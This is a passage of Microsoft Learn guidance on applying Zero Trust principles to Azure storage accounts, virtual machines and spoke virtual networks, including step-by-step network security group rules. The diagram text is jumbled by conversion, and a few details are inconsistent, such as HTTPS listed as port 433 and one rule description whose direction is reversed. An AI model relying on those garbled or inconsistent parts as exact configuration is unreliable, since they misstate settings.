You configure access control from the Access Control (IAM) settings of a storage
account, as shown here.
You can check the access levels of users, groups, service principals, or managed
identities and add a role assignment.
Another way to provide permissions that are time-bound is through Shared Access
Signatures (SAS). Best Practices when using SAS at a high level are the following:
Always use HTTPS. If you have deployed the suggested Azure Policies for Azure
landing zones , secure transfer via HTTPS will be audited.
Have a revocation plan.
Configure SAS expiration policies.
Validate permissions.
Use a user delegation SAS wherever possible. This SAS is signed with Microsoft
Entra credentials.
Step 3: Logically separate or segregate critical

data with network controls
In this step, you use the recommended controls to protect the network connections to
and from Azure Storage services.
The following diagram highlights the network connections to the Azure Storage services
in the reference architecture.
Internet Azure
Bastion Subnet APP GW subnet

NSG
Azure Firewall
Subnet ASG ASG
Bastion AppGw (WAF)
VM VM

VM
Premium
NSG
App tier subnet
Private Endpoint
VPN GW Subnet Subnet ASG ASG
Private access to Azure
Files through VPN VM VM
Admin Azure File
Private IP
VPN GW
(NIC) NSG
Data tier subnet
Security (HUB) VNET ASG ASG
User
VM VM
SAS / HTTPS SMB 3.x (Encrypt) Workload (SPOKE) VNET
NSG = Network Security Group

Developer
Private
Endpoint
HTTPS
Auth through Entra ID / Entra ID DS

Azure Files
Entra ID MDC RBAC Azure

Monitor


ﾉ Expand table
Task Description
Prevent public access, create Private endpoint allows you to connect to services with the
network segmentation with use of a single private IP address on the VNet using Azure
Private Endpoint and Private Private Link.
Link. Enabling private endpoints allows the Azure platform to
validate network connections and allow only the connection
Task Description
with explicit access to the private-link resource to gain access

to subsequent resources.
You'll need a separate private endpoint for each service on
the Azure Storage Account.
Use Azure Private Link Use Azure Private Link to access Azure Storage over a private
endpoint in your VNet. Use the approval workflow to
automatically approve or manually request, as appropriate.
Prevent public access to your You can do network segmentation using Service Endpoints by
data sources using Service enabling private IP addresses in a VNet to reach an endpoint
Endpoints without using public IP addresses.
You configure private endpoints from the Networking settings of a storage account, as
shown here.
Step 4: Use Defender for Storage for

automated threat detection and protection
Microsoft Defender for Storage provides that additional level of intelligence that detects
unusual and potentially harmful attempts to exploit your storage services. Microsoft
Defender for Storage is built into Microsoft Defender for Cloud.
Defender for Storage detects anomalous access pattern alerts such as:
Access from unusual locations

Application Anomaly
Anonymous access
Anomalous extract/upload alerts
Data Exfiltration
Unexpected delete
Upload Azure Cloud Service package
Suspicious storage activities alerts
Access permission change
Access Inspection
Data Exploration
For more information about threat protection across the reference architecture, see the
Apply Zero Trust principles to Azure IaaS overview.
Once enabled, Defender for Storage notifies you of security alerts and recommendations
for improving the security posture of your Azure storage accounts.
Here's an example security alert for a storage account with a description of the alert and
prevention measures highlighted.
Configure Storage security
ﾉ Expand table
Training Configure Storage security
Learn how to configure common Azure Storage security features like storage
access signatures.
Configure a shared access signature (SAS), including the uniform resource
identifier (URI) and SAS parameters.
Configure Azure Storage encryption.
Implement customer-managed keys.
Recommend opportunities to improve Azure Storage security.
Start >
Next Steps
Azure IaaS overview

Virtual machines
Azure Virtual WAN
applied.
ﾉ Expand table
Item Description
Use this illustration together with this article: Apply Zero

Trust principles to Azure IaaS overview
Virtual machines
Spoke VNets
Hub VNets
PDF | Visio
Updated March 2024
ﾉ Expand table
Item Description
Use these diagrams together with the articles starting here:

Apply Zero Trust principles to Azure IaaS overview
Virtual machines
Spoke VNets
Hub VNets
PDF | Visio
Updated March 2024
References
in this article.
Secure transfer for Azure Storage Accounts

Prevent anonymous public read access to containers and blobs
Prevent Shared Key authorization for an Azure Storage Account
Network security for Storage Accounts
Private Endpoints and Private Link for Storage Accounts
Storage Service Encryption (SSE)
Role-based Access Control for Storage Accounts
Azure Blob Backup
Best Practices when using SAS
Review of Private Endpoints
Review of Service Endpoints
Microsoft Defender for Storage
Feedback
Apply Zero Trust principles to virtual
machines in Azure
Article • 04/12/2024
Summary: To apply Zero Trust principles to Azure virtual machines, you must configure
logical isolation with dedicated resource groups, leverage Role Based Access Control
(RBAC), secure virtual machine boot components, enable customer-managed keys and
double encryption, control installed applications, configure secure access and
maintenance of virtual machines, and enable advanced threat detection and protection.
This article provides steps to apply the principles of Zero Trust to virtual machines in
Azure:
ﾉ Expand table

principle
Verify Always authenticate and authorize Use secure access.

explicitly based on all available data points.
Use least Limit user access with Just-In-Time and Leverage Role Based Access Control
privileged Just-Enough-Access (JIT/JEA), risk- (RBAC) and control the applications
access based adaptive policies, and data running on virtual machines.
protection.
Assume Minimize blast radius and segment Isolate virtual machines with resource
breach access. Verify end-to-end encryption groups, secure their components, use
and use analytics to get visibility, drive double encryption, and enable
threat detection, and improve defenses. advanced threat detection and
protection.
This article is part of a series of articles that demonstrate how to apply the principles of
Zero Trust across an environment in Azure that includes a spoke virtual network (VNet)
hosting a virtual machine-based workload. For an overview, see Apply Zero Trust
principles to Azure infrastructure.
Logical architecture for virtual machines

Zero Trust principles for virtual machines are applied across the logical architecture,
from the tenant and directory level down to the data and application layer within each
virtual machine.
The following diagram the logical architecture components.
Entra ID tenant
Resource group
Azure B
subscription Virtual machine
A
Resource group Applications
Virtual machine Operating system
Virtual machine Disks
Virtual machine Boot loaders

OS Kernel TPM
Drivers
In this diagram:
A is a set of virtual machines isolated within a dedicated resource group that

resides within an Azure subscription.
B is the logical architecture for a single virtual machine with the following
components called out: applications, operating system, disks, boot loaders, OS
Kernel, drivers, and the Trusted Platform Module (TPM) component.
This article walks through the steps to apply the principles of Zero Trust across this
logical architecture, using these steps.
Resource group 1 Configure logical isolation by deploying virtual
machines to a dedicated resource group
Virtual machine 2 Leverage Role Based Access Control (RBAC)
Applications 5 Control the applications that are installed on

virtual machines
Operating system 4 Enable customer-managed keys and double

encryption
Disks
Boot loaders 3 Secure virtual machine boot components

OS Kernel TPM
Drivers
ﾉ Expand table
Step Task Zero Trust

principles
applied
1 Configure logical isolation by deploying virtual machines to a Assume breach

dedicated resource group.
2 Leverage Role Based Access Control (RBAC). Verify explicitly

Use least
privileged access
3 Secure virtual machine boot components including boot loaders, OS Assume breach
kernels, and drivers. Securely protect keys, certificates, and secrets in
the Trusted Platform Module (TPM).
4 Enable customer-managed keys and double encryption. Assume breach
5 Control the applications that are installed on virtual machines. Use least
privileged access
6 Configure secure access (not shown on the logical architecture figure). Verify explicitly
Use least
privileged access
Assume breach
7 Set up secure maintenance of virtual machines (not shown on the Assume breach
logical architecture figure).
8 Enable advanced threat detection and protection (not shown on the Assume breach
logical architecture figure).
Step 1: Configure logical isolation for virtual
machines
Begin by isolating virtual machines within a dedicated resource group. You can isolate
virtual machines into different resource groups based on purpose, data classification,
and governance requirements, such as the need to control permissions and monitoring.
Using dedicated resource groups allows you to set policies and permissions that apply
to all the virtual machines within the resource group. You can then use role based access
control (RBAC) to create least privileged access to the Azure resources contained in the
resource group.
For more information on creating and managing resource groups, see Manage Azure
resource groups by using the Azure portal.
You assign a virtual machine to a resource group when you first create the virtual
machine, as shown here.
Step 2: Leverage Role Based Access Control

(RBAC)
Zero Trust requires configuring least privileged access. To do so, you need to limit user
access with just-in-time and just-enough access (JIT/JEA) based on their role, workload,
and data classification.
The following built-in roles are commonly used for virtual machine access:
Virtual Machine User Login: View virtual machines in the portal and sign-in as a
regular user.
Virtual Machine Administration Login: View virtual machines in the portal and
sign-in to virtual machines as an Administrator.
Virtual Machine Contributor: Create and manage virtual machines, including reset
root user's password and managed disks. Doesn't grant access to the management
virtual network (VNet) or the ability to assign permissions to the resources.
To join a virtual machine to a VNet, you can use the custom permission
Microsoft.Network/virtualNetworks/subnets/join/action to make a custom role.
When this custom role is used with Managed Identity and Conditional Access Policy, you
can use device state, data classification, anomalies, location, and identity to force
multifactor authentication and granularly allow access based on verified trust.
To extend your realm of control beyond the system and allow your Microsoft Entra
tenant with Microsoft Intelligent Security Graph to support secure access, go to the
Management blade of the virtual machine and turn on System Assigned Managed
Identity, as shown here.
７ Note
This feature is only available for Azure Virtual Desktop, Windows Server 2019,
Windows 10, and Linux Distros using certificate-based access.
Step 3: Secure virtual machine boot
components
Follow these steps:
When you create the virtual machine, be sure you configure security for the boot
components. Enhanced deployment of virtual machines allows you to select
security type and use Secure boot and vTPM.
Securely deploy virtual machines with verified boot loaders, OS kernels, and drivers
that are signed by trusted publishers to establish a "root ." If the image isn't signed
by a trusted publisher, the virtual machine won't boot.
Securely protect keys, certificates, and secrets in the virtual machines in a Trusted
Platform Module.
Gain insights and confidence of the entire boot chain's integrity.
Ensure workloads are trusted and verifiable. The vTPM enables attestation by
measuring the entire boot chain of your virtual machine (UEFI, OS, system, and
drivers).
Enhanced deployment of virtual machines allows you to select security type and use
secure boot and vTPM when you create them, as shown here.

Step 4: Enable customer-managed keys and
double encryption
Using customer-managed keys and double encryption ensures that if a disk is exported,
it isn't readable or able to function. By ensuring that the keys are privately held and
disks are double encrypted, you protect against breaches that attempt to extract disk
information.
For information on how to configure a customer-managed encryption key with Azure

Key Vault, see Use the Azure portal to enable server-side encryption with customer-
managed keys for managed disks. There's an additional cost for using Azure Key Vault.
Enable server-side encryption of Azure Disk Storage for:
FIPS 140-2 compliant transparent encryption with AES 256 encryption .

Greater flexibility to manage controls.
Hardware (HSM) or software-defined encryption.
Enable server-side encryption at the host for end-to-end encryption of your virtual
machine data.
After completing these procedures, you use your customer-managed encryption key to
encrypt the disks within your virtual machine.
You select the encryption type on the Disks blade for the virtual machine configuration.
For Encryption type, select Double encryption with platform-managed and customer-
managed keys, as shown here.

Step 5: Control the applications installed on
virtual machines
It's important to control the applications that are installed on your virtual machines:
Browser extensions (APIs) are difficult to secure which can lead to malicious URL
delivery.
Unsanctioned apps can go unpatched as they're shadow IT objects (the IT teams
aren't prepared or have no knowledge that these are installed).
You can use the Virtual Machine Applications feature to control the applications that are
installed on virtual machines. With this feature, you select which virtual machine
applications to install. This feature uses the Azure Compute Gallery to simplify
management of applications for virtual machines. When used together with RBAC, you
can ensure that only trusted applications are available for users.
You select the virtual machine applications on the Advanced blade for the virtual
machine configuration, as show here.
Step 6: Configure secure access

To configure secure access:
Configure secure communication within the Azure environment between

components that are accessing virtual machines directly
Set up multifactor authentication with conditional access
Use privileged access workstations (PAWs)

In the diagram:
multifactor authentication with conditional access is set up within Microsoft Entra

ID and related portals.
Admins use privileged access workstations (PAWs) to access virtual machines
directly.
Configure secure communication within the Azure

environment for virtual machines
First, be sure that communication between the components in the Azure environment is
secure.
In the reference architecture, Azure Bastion provides secure connections to virtual

machines. Azure Bastion acts as an RDP/SSH broker and doesn't interact with the RDP
protocol of your physical system. This also enables you to reduce the number of public-
facing IP addresses.
The following diagram shows the components of secure communications for virtual
machines.
NSG
APP GW subnet Front end tier subnet
Bastion Subnet ASG ASG
Azure Firewall AppGw (WAF) VM VM

Subnet
Bastion
SSH or To requested
RDP VM NSG
App tier subnet
Azure Firewall
Premium ASG ASG
VM VM
NSG
Data tier subnet
ASG ASG
Security (HUB) VNET VM VM
HTTPS Workload (SPOKE) VNET
Azure Storage NSG = Network Security Group

(blob) ASG = Application Security Group
SMB 3.X (ENCRYPT)
Azure Storage
(file) 
Set up multifactor authentication with conditional access

In Step 2. Leverage Role Based Access Control, you configured Microsoft Entra
integration and managed identity. This allows you to set up Azure multifactor
authentication for Azure Virtual Desktop or for servers running Windows Server 2019 or
newer. You can also Log in to a Linux VM with Microsoft Entra credentials. The added
benefit of this is the machine that connects to the virtual machine must also be
registered to your Microsoft Entra tenant to be allowed to connect.
When configuring multifactor authentication with conditional access and related

policies, use the recommended policy set for Zero Trust as a guide. This includes
Starting point policies that don't require managing devices. Ideally, the devices
accessing your virtual machines are managed and you can implement the Enterprise
policies, which is recommended for Zero Trust. For more information, see Common Zero
Trust identity and device access policies.
The following diagram shows the recommended policies for Zero Trust.


to change their
Clients that do not

Enterprise
tablets.
Require MFA always

Specialized
users)

Remember that usernames and passwords can be 100% compromised. Using multifactor
authentication, you reduce your risk of compromise by 99.9%. This requires Microsoft
Entra ID P1 licenses.
７ Note
You can use VPNs used to connect to virtual machines in Azure as well. However,
you should be sure to use methods to verify explicitly. Creating a tunnel that is
"trusted" regardless of how they are used can be riskier than having specific
connections that are highly verified.
No amount of security at the Network, Transport, or Application layers matters if you

aren't coming from a trusted, verified, and secure source.
Use PAWs
Use Privileged Access Workstations (PAWs) to ensure devices that access virtual
machines are healthy. PAWs are configured specifically for privileged access so that
admins use a device that has:
Security controls and policies that restrict local administrative access.

Productivity tools to minimize the attack surface to only what's absolutely required
for performing sensitive administrative tasks.
For more information on deployment options, see Privileged access deployment.

Step 7: Set up secure maintenance of virtual
machines
Secure maintenance of virtual machines includes:
Using anti-malware
Automating virtual machine updates
Use anti-malware on virtual machines

Anti-malware helps protect your virtual machine from threats such as malicious files and
adware, etc. You can use anti-malware software from an option of vendors such as
Microsoft, Symantec, Trend Micro, and Kaspersky.
Microsoft Antimalware is a no-cost resource that provides real-time protection

capability to assist in detection, quarantining and eradicating malicious software,
spyware, and viruses:
Runs in the background with the need of user interaction

Provides alerts when unwanted or malicious software is downloaded, installed, or
run
Offers secure-by-default configuration and anti-malware monitoring
Scheduled scanning
Signature updates
Antimalware Engine and Platform updates
Active Protection
Samples reporting
Exclusions
Antimalware event collection
Automate virtual machine updates

Automating updates to systems ensures they are protected from the latest malware and
misconfiguration exploits. There's automatic updating with aid in the trusted platform
verification process.
Concentrate on Azure Virtual Machine Maintenance and Updates to ensure your

systems are hardened against configuration insecurities:
Azure Automation Update Management can assist in the management of your

update process. With this utility, you can check the update status of your systems,
manage, schedule, and reboot servers.
The Azure Virtual Machine Agent is used to manage your virtual machines and
gives you the ability to use extensions for management.
Operating systems supported by Update Management include the following:
Each Windows virtual machine - Update Management does a scan twice a day for
each machine.
Each Linux virtual machine - Update Management does a scan every hour.
See this additional guidance:
Plan deployment for updating Windows VMs in Azure

Use Azure Private Link to securely connect networks to Azure Automation Ensures
virtual machines connect in an isolated controlled fashion and not over the
internet for updates.
Step 8: Enable advanced threat detection and

protection
Threat protection for Azure infrastructure is provided by Microsoft Defender for Cloud.
This protection is extended to virtual machines when you provision Microsoft Defender
for Servers, as shown in the following diagram.
Tenant 1
Entra ID directory
Defender for Cloud enabled for a management group with Defender for
Servers turned on
Management group
Azure Azure
subscription subscription
Resource group Resource group Resource group
Virtual machine Virtual machine Virtual machine
Azure SQL Virtual machine Virtual machine
Kubernetes Virtual machine Virtual machine

In the diagram:
As described in the Apply Zero Trust principles to Azure IaaS overview article,
Defender for Cloud is enabled at the level of an Azure subscription or at the level
of an Azure management group that includes multiple Azure subscriptions.
In addition to enabling Defender for Cloud, Defender for Servers is provisioned.
Advanced threat protection verifies the activities occurring on virtual machines based on
Microsoft's threat intelligence. It looks for specific configurations and activities that
suggest that there could be a breach. It enables the Verify explicitly and Assume breach
Zero Trust principles.
Microsoft Defender for Servers includes the following:
Access to the Microsoft Defender for Endpoint data that is related to

vulnerabilities, installed software, and alerts for your endpoints for endpoint
detection and response (EDR).
Defender for Cloud's integrated vulnerability assessment scanner for servers.
Discover vulnerabilities and misconfigurations in real time with Microsoft Defender
for Endpoint, and without the need of other agents or periodic scans.
Defender for Cloud's integrated Qualys scanner for Azure and hybrid machines
allows you to use a leading tool in real-time vulnerability identification without the
need of a Qualys license.
Implement Just-in-time virtual machine access in Defender for Cloud. This creates
an explicit deny rule for RDP/SSH and gives you JIT access at the server level when
you need it and allows you to limit the period of access.
File integrity monitoring in Defender for Cloud provides you to change monitoring
of files and registries of the operations system, application software, and other
changes that allow you to validate the integrity of your file systems.
Adaptive application controls in Defender for Cloud provides an automated
solution for creating and defining allow list for known safe applications and
generates security alerts if a new application runs other than those you define as
safe for use.
Adaptive network hardening in Defender for Cloud uses machine learning
algorithms that calculate your current traffic, threat intelligence, indicators of
compromise, and known trusted configurations to provide recommendations for
hardening your Network Security Groups.
Secure your Azure virtual machine disks

ﾉ Expand table
Training Secure your Azure virtual machine disks
Learn how to use Azure Disk Encryption (ADE) to encrypt OS and data disks on
existing and new virtual machines.
Determine which encryption method is best for your virtual machine.
Encrypt existing virtual machine disks using the Azure portal.
Encrypt existing virtual machine disks using PowerShell.
Modify Azure Resource Manager templates to automate disk encryption on
new virtual machines.
Start >
For more training on Azure, see the entire Microsoft catalog:

Browse all - Training | Microsoft Learn
Implement virtual machine host security in Azure
ﾉ Expand table
Training Implement virtual machine host security in Azure
In this learning path, learn how to protect and harden your virtual machines in
Azure.
Start >
For more training on virtual machines in Azure, see these resources in the Microsoft
catalog:
Virtual machines in Azure | Microsoft Learn
Next Steps
Azure IaaS overview

Azure storage
Azure Virtual WAN
applied.
ﾉ Expand table
Item Description


Spoke VNets
Hub VNets
PDF | Visio
Updated March 2024
ﾉ Expand table
Item Description


Spoke VNets
Item Description
PDF | Visio Hub VNets

Updated March 2024
References
Manage Azure resource groups with the Azure portal
Secure boot
Overview of vTPM
Attestation
Enable server-side encryption of Azure Disk Storage
AES 256 encryption
Azure Bastion
Azure multifactor authentication for Azure Virtual Desktop
Windows Servers 2019 or newer
Log in to a Linux VM with Microsoft Entra credentials
Common Zero Trust identity and device access policies
Privileged Access Workstations (PAW)
Privileged access deployment
Microsoft Anti-malware
Virtual Machine Agent
Plan deployment for updating Windows VMs in Azure - Azure Example Scenarios
Use Azure Private Link to securely connect networks to Azure Automation
Microsoft Defender for Servers
Defender for Cloud's integrated vulnerability assessment
Feedback
Apply Zero Trust principles to a spoke
virtual network in Azure
Article • 04/12/2024
Summary: To apply Zero Trust principles to a spoke virtual network in Azure, you must
leverage Role Based Access Control (RBAC), isolate subnets and virtual machines
(resource groups, network security groups, and application security groups), secure
traffic and resources within the VNet and virtual machine applications, and enable
advanced threat detection, alerting, and protection.
This article helps you apply the principles of Zero Trust to a spoke virtual network (VNet)
for IaaS workloads in Azure in the following ways:
ﾉ Expand table

principle
Verify Always authenticate and Use application security groups to verify that
explicitly authorize based on all available individual NICs have permissions to
data points. communicate over specific channels.
Use least Limit user access with Just-In- Don't enable 3389/RDP access by default on
privileged Time and Just-Enough-Access any channel. Use correct role permissions for
access (JIT/JEA), risk-based adaptive the spoke context.
policies, and data protection.
Assume Minimize blast radius and Limit unnecessary communication between

breach segment access. Verify end-to- resources. Ensure that you're able to log in to
end encryption and use analytics network security groups and that you've
to get visibility, drive threat proper visibility into anomalous traffic. Track
detection, and improve defenses. changes to network security groups.
This article is a part of a series of articles that demonstrate how to apply the principles
of Zero Trust across an environment in Azure that includes a spoke VNet hosting a
virtual machine-based workload. For more information, see the Apply Zero Trust
principles to Azure IaaS overview.
The following diagram shows a common reference architecture for IaaS-based
workloads.
NSG-fe
APP GW subnet Front end tier subnet
ASG- ASG-
fe fe
AppGw (WAF) VM VM
NSG-app
App tier subnet
ASG- ASG-
app app
VM VM
NSG-data
Data tier subnet
ASG- ASG-
data data
VM VM
NSG = Network Security Group

In the diagram:
A spoke VNet includes components to support an IaaS application comprised of

virtual machines.
The IaaS application is a three-tier application comprised of two virtual machines
for each tier: front end, application, and data.
Each tier is contained within a dedicated subnet with a dedicated network security
group.
Each virtual machine role is assigned to an application security group
corresponding to its role.
Access to the application is provided through an Application Gateway contained in
its own subnet.
The application shown in the reference architecture follows the N-tier architecture style
The following diagram shows the components of a resource group for a spoke VNet in
an Azure subscription separate from the subscription for the hub VNet.

In the diagram, all the components of the spoke VNet are contained in a dedicated
resource group:
One VNet
One Azure Application Gateway (App GW), including a Web Application Firewall
(WAF)
Three network security groups, one for each application tier
Three application security groups, one for each application tier
What's in this article

Zero Trust principles are applied across the architecture, from the tenant and directory
level down to the assignment of virtual machines to application security groups. The
following table describes the recommendations for securing this architecture.
ﾉ Expand table

applied
1 Use Microsoft Entra role-based access control (RBAC) or set up Use least privileged
custom roles for networking resources. access
2 Isolate infrastructure into its own resource group. Assume breach

applied
3 Create a network security group for each subnet. Use least privileged
access
Assume breach
4 Create an application security group for each virtual machine Verify explicitly
role. Use least privileged
access
Assume breach
5 Secure traffic and resources within the VNet: Verify explicitly

Deploy baseline deny rules for network security groups Use least privileged
Deploy application specific rules for application security access
groups Assume breach
Plan for management traffic into the VNet
Deploy network security group flow logging
6 Secure access to the VNet and application. Use least privileged

access
Assume breach
7 Enable advanced threat detection, alerting, and protection. Assume breach
Step 1: Use Microsoft Entra RBAC or set up

custom roles for networking resources
You can use Microsoft Entra RBAC built-in roles for network contributors. However,
another approach is to use custom roles. Spoke network managers don't need full
access to networking resources granted by the Microsoft Entra RBAC Network
Contributor role, but need more permissions than other common roles. You can use a
custom role to scope the access to just what is needed.
One easy way to implement this is to deploy the custom roles found in the Azure
Landing Zone Reference Architecture .
The specific role is the Network Management custom role has the following
permissions:
Read all in the scope

Any actions with the network provider
Any actions with the support provider
Any actions with the Resources provider
You can create this role using the scripts for the custom roles or through Microsoft Entra
ID with the process described in Azure custom roles - Azure RBAC.
Step 2: Isolate infrastructure into its own

resource group
By isolating network resources from compute, data, or storage resources, you reduce
the likelihood of permissions bleed. In addition, by ensuring that all related resources
are in one resource group, you can make one security assignment and better manage
logging and monitoring to these resources.
Rather than having the spoke network resources available in multiple contexts in a
shared resource group, create a dedicated resource group for it. The reference
architecture that this article supports illustrates this concept.
Virtual machine resource Storage resource group Resource group Resource group
group (hub VNet) (spoke VNet)
Storage accounts
Virtual machines VNet VNet AppGW + WAF
(front end [fe])
Blob storage Azure Files
service service Bastion NSG-fe ASG-fe
Virtual machines (app)
Data set Data set Azure Firewall NSG-app ASG-app
Virtual machines (data) VPN GW NSG-data ASG-data

Data set Data set
In the figure, resources and components across the reference architecture are divided
into dedicated resource groups for virtual machines, storage accounts, hub VNet
resources, and spoke VNet resources.
With a dedicated resource group, you can assign a custom role using the following
process: Tutorial: Grant a user access to Azure resources using the Azure portal - Azure
RBAC.
Additional recommendations:
Reference a security group for the role instead of named individuals.

Manage access to the security group through your enterprise identity
management patterns.
If you aren't using policies that enforce log forwarding on resource groups, configure
this in the Activity log for the resource group: Navigate to Activity log > Export Activity
Logs and then select + Add diagnostic setting.
On the Diagnostic setting screen, select all log categories (especially Security) and send
them to the appropriate logging sources, such as a Log Analytics workspace for
observability, or a storage account for long term storage.
Subscription Democratization
While not directly related to networking, you should plan your subscription RBAC in a
similar way. In addition to isolating resources logically by resource group, you should
also isolate the subscription based on business areas and portfolio owners. The
subscription as a management unit should be narrowly scoped.
For more about subscription democratization, see Azure landing zone design principles
- Cloud Adoption Framework.
You configure diagnostics from the Security category of Diagnostic setting in Azure
Monitor, as shown here.
See Diagnostic Settings to understand how to review these logs and alert on them.
Step 3: Create a network security group for

each subnet
Azure network security groups are used to filter network traffic between Azure resources
in an Azure VNet. It's recommended to apply a network security group to each subnet,
which is enforced through Azure policy by default when deploying Azure Landing
Zones. A network security group contains security rules that allow or deny inbound
network traffic to, or outbound network traffic from, several types of Azure resources.
For each rule, you can specify source and destination, port, and protocol.
For a multi-tier virtual-machine based application, the recommendation is to create a
dedicated network security group (NSG in the following figure) for each subnet that
hosts a virtual machine role.
In the diagram:
Each tier of the application is hosted in a dedicated subnet such as, front end tier,
app tier, and data tier.
A network security group is configured for each of these subnets.
Configuring network security groups in a different way than shown in the figure can
result in incorrect configuration of some or all of the network security groups and can
create issues in troubleshooting. It can also make it difficult to monitor and log.
Create a network security group using this process: Create, change, or delete an Azure
network security group
See network security groups to understand how you can use them to secure the
environment.
Step 4: Create an application security group for
each virtual machine role
Application security groups enable you to configure network security as a natural
extension of an application's structure, allowing you to group virtual machines and
define network security policies based on those groups. You can reuse your security
policy at scale without manual maintenance of explicit IP addresses. The platform
handles the complexity of explicit IP addresses and multiple rule sets, allowing you to
focus on your business logic.
Inside your workload, identify the specific virtual machine roles. Then, build an
application security group for each role. In the reference architecture, three application
security groups are represented.
In the diagram:
Three application security groups are created to support this app, one for each tier:
front end, app, and data.
Each virtual machine is assigned to the corresponding application security group
for its role (red text in the diagram).
For more information about application security groups and how to assign these to
virtual machines, see Azure application security groups overview.
７ Note
If you're using load balancers, using the IP address of the load balancer in the
network security groups is required as application security groups can't scope a
load balancer.
Step 5: Secure traffic and resources within the

VNet
This section covers the following recommendations:
Deploy baseline deny rules for network security groups

Deploy application specific rules for application security groups
Plan for management traffic in the VNet

A key element of Zero Trust is using the least level of access needed. By default, network
security groups have allowed rules. By adding a baseline of deny rules, you can enforce
the least level of access.
Once provisioned, create a deny all rule in each of the inbound and outbound rules, with
a priority of 4096. This is the last custom priority available, which means you still have
the remaining scope to configure Allow actions.
In the network security group, navigate to Outbound Security Rules and select Add. Fill
in the following:
Source: Any
Source port ranges: *
Destination: Any
Service: Custom
Destination Port Ranges: *
Protocol: Any
Action: Deny
Priority: 4096
Name: DenyAllOutbound
Description: Denies all outbound traffic unless specifically allowed.
Here's an example.
Repeat this process with inbound rules, adjusting the name and description as
appropriate. You'll notice that on the Inbound security rules tab, there is a warning sign
on the rule, as shown here.
If you click the rule and scroll to the bottom, you'll see more details, as shown here.
This message gives the following two warnings:
Azure Load Balancers won't, by default, be able to access resources using this
network security group.
Other resources on this VNet won't, by default, be able to access resources using
this network security group.
For our purpose in Zero Trust, this is how it should be. It means that just because
something is on this VNet, doesn't mean that it has immediate access to your resources.
For each traffic pattern, you'll need to create a rule explicitly allowing it and you should
do so with the least amount of permissions. Therefore, if you've specific outbound
connections for management–such as to Active Directory Domain Services (AD DS)
domain controllers, private DNS virtual machines, or to specific external websites–they
need to be controlled here.
Alternative Deny Rules

If you're using Azure Firewall to manage your outbound connections, then instead of
performing a deny outbound all, you can leave all outbound open. As a part of the
Azure Firewall implementation, you'll set up a route table that sends the default route
(0.0.0.0/0) to the firewall, which handles traffic outside of the VNet.
You can then either create a deny all VNet outbound, or instead allow all outbound (but
secure items with their inbound rules).
Read more about Azure Firewall and Route Tables to understand how you can use them
to further increase the security of the environment.
Virtual machine management rules

To configure virtual machines with Microsoft Entra Login, Anti-Malware, and automatic
updates enabled, you'll need to allow the following outbound connections. Many of
these are by FQDN, meaning that either Azure Firewall is needed for FQDN rules, or
you'll make a more complex plan. Azure Firewall is recommended.
The outbound connections are:
On port 443:
enterpriseregistration.windows.net
settings-win.data.microsoft.com
sls.update.microsoft.com
v10.events.data.microsoft.com
login.microsoftonline.com
pas.windows.net
169.254.169.254
On port 80:
ctldl.windowsupdate.com
www.msftconnecttest.com
On port 123:
40.119.6.228
On port 1688:
40.83.235.53
Deploy application specific rules for application security

groups
Define traffic patterns with the least amount of permissions and only following explicitly
allowed paths. Here's an example diagram of using application security groups to define
network traffic patterns in the network security groups for a spoke VNet that is used
along with a hub VNet. This is the recommended configuration.
NSG-fe NSG-app
APP GW subnet Front end tier subnet App tier subnet Data tier subnet
ASG-fe ASG-app ASG-data

VM
VM VM

7
ASG-fe Load ASG-app Load
balancer balancer
Application Gateway ASG-data
VM VM
VM

As another example, here is a configuration for a stand-alone spoke VNet in which the
Web Application Firewall is placed in the Application Gateway subnet of the spoke VNet.
NSG-fe NSG-app
APP GW subnet Front end tier subnet App tier subnet Data tier subnet
ASG-fe ASG-app ASG-data

VM
VM VM

7
Application Gateway ASG-fe Load ASG-app Load
balancer balancer
w/Web Application ASG-data
Firewall VM VM
VM

You need the following network security group rules:
1. Allowing internet traffic into the APP GW subnet (HTTPS 443).

2. Allowing traffic from the APP GW subnet to the front end tier virtual machines
(HTTPS 433).
3. Allowing traffic from the front end tier virtual machines to the app tier load
balancer (HTTPS 443).
4. Allowing traffic from the app tier load balancer to the app tier virtual machines
(HTTPS 443).
5. Allowing traffic from the app tier virtual machines to the data tier load balancer
(SQL 1433).
6. Allowing traffic from the data tier load balancer to the data tier virtual machines
(SQL 1433).
7. Allowing traffic between data tier virtual machines (SQL 1433)
Configure the SQL pattern first and then repeat the process with the remaining tiers. The
following sections are the configurations for the rules that confine network traffic for a
single application tier.
Rule 5 - Allow traffic from app tier virtual machines to the data tier
load balancer (SQL 1433)
In the network security group for the app tier subnet, navigate to Inbound Security
Rules, and select Add. Populate the list with the following:
Source: Application Security Group

Source application security groups: Select your business tier application security
group
Source port ranges: 1433 (Sometimes source traffic can come from different ports
and if this pattern occurs you can add source port ranges to * to allow any source
port. Destination port is more significant and some recommendations are to
always use * for source port)
Destination: IP addresses
Destination IP addresses/CIDR ranges: the explicit IP of the load balancer
You need to use the explicit IP here because you can't associate a load balancer
with an application security group.
You can plan your IP schema or deploy the load balancer and refer to the IP it's
assigned.
Service: MS SQL
Destination Port Ranges: This is automatically filled in for port 1433
Protocol: This is automatically selected for TCP
Action: Allow
Priority: A value between 100 and 4096. You can start with 105.
Name: Allow-App-Tier-to-Data-LB-Inbound
Description: Allows inbound access from the data tier load balancer to the app tier
virtual machines.
You'll notice after completion that there is a blue icon for informational alerts on the
rule. Clicking the rule gives the following message:
"Rules using application security groups may only be applied when the application
security groups are associated with network interfaces on the same virtual
network."
Here's an example.

The rule only applies when this application security group is used in this network.
Finally, in the same network security group, navigate to Outbound Security Rules and
select Add. Populate the list similar to the example, changing Inbound to Outbound.
Rule 6 - Allow traffic from data tier load balancer to data tier
virtual machines (SQL 1433)
In the network security group for the data tier subnet, navigate to Inbound Security
Rules and select Add. Populate the list with the following:
Source: IP Address
Source IP Address: The IP address of the load balancer
Source port ranges: 1433
Destination: Application security group
Destination application security groups: Select your data tier application security
group
Service: MS SQL
Destination Port Ranges: This is automatically filled in for port 1433.
Protocol: This is automatically selected for TCP.
Action: Allow
Name: Allow-SQL-LB-to-SQL-VMs-Inbound
Description: Allows inbound access to the SQL-based data tier virtual machines
from the data tier load balancer.
In the same network security group, navigate to Outbound Security Rules and select
Add. Populate the list as done in the example, changing Inbound to Outbound.
Rule 7 - Allow traffic between data tier virtual machines (SQL 1433)
In the network security group for the data tier subnet, navigate to Inbound Security
Rules and select Add. Populate the list with the following:
Source: Application security group

group
Source port ranges: 1433
Destination: Application security groups
group
Service: MS SQL
Destination Port Ranges: This is automatically filled in for port 1433.
